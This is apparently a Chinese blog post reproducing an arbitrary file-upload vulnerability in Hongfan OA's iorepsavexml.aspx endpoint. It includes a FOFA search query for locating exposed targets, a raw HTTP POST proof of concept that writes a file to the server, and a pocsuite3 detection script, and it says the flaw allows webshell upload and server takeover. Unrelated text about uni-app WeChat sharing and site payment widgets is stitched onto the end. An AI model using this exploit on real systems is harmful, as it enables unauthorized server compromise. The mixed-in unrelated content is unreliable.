漏洞复现-红帆OA iorepsavexml.aspx文件上传漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

红帆OA 存在任意文件读取漏洞,攻击者可通过此漏洞上传webshell木马,获取服务器控制权限

fofa语句

app="红帆-ioffice" || app="红帆-HFOffice"

poc加检测

POST /ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

12345678

上传成功后访问/ioffice/upfiles/rep/pic/check.txt查看有无成功写入

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/24
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class iorepsavexml(POCBase):
    pocDesc = '''红帆OA iorepsavexml.aspx文件上传漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-24'
    name = '红帆OA iorepsavexml.aspx文件上传漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/'
        check_path = self.url+ "/ioffice/upfiles/rep/pic/check.txt"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            'Accept-Encoding': 'gzip, deflate',
            'Cache-Control': 'max-age=0',
            'Connection': 'close',
            "Cookie": "ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4",
            "Content-Type": "application/x-www-form-urlencoded"
        }

        try:
            data = "123456789"

            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200:
                check_response = requests.get(check_path, headers=headers, verify=False)
                if check_response.status_code == 200 and '123456789' in check_response.text:
                    result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(iorepsavexml)

脚本利用

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
uni-app提供了内置的微信分享API,可以通过调用相关方法来实现微信小程序的分享功能。首先,在onLoad方法中使用wx.showShareMenu方法,设置menus将发送给朋友和分享到朋友圈两个按钮都可以点击。具体代码如下: ```javascript onLoad() { wx.showShareMenu({ withShareTicket: true, menus: \["shareAppMessage", "shareTimeline"\] }) } ``` 接下来,需要分别编写发送给朋友和分享到朋友圈的方法。这两个方法应该与data和methods等同级,不要写到methods里面。具体代码如下: ```javascript onShareAppMessage(res) { if (res.from === 'button') { console.log(res.target) } return { title: 'title', path: '/pages/hfdt/gztjh', mpId: 'wx6bf107b87c455b99' } }, onShareTimeline(res) { return { title: '胶南街道召开“红帆支部”观摩学习暨工作推进会', type: 0, summary: "" } } ``` 在onShareAppMessage方法中,可以设置分享的标题、路径和微信小程序的AppId。在onShareTimeline方法中,可以设置分享到朋友圈的标题和类型等信息。通过以上步骤,就可以实现uni-app微信小程序的分享功能。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [uniapp 微信分享](https://blog.csdn.net/lxgyydsgod/article/details/126234984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [uniapp微信小程序使用分享功能](https://blog.csdn.net/qq_43080548/article/details/125619531)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值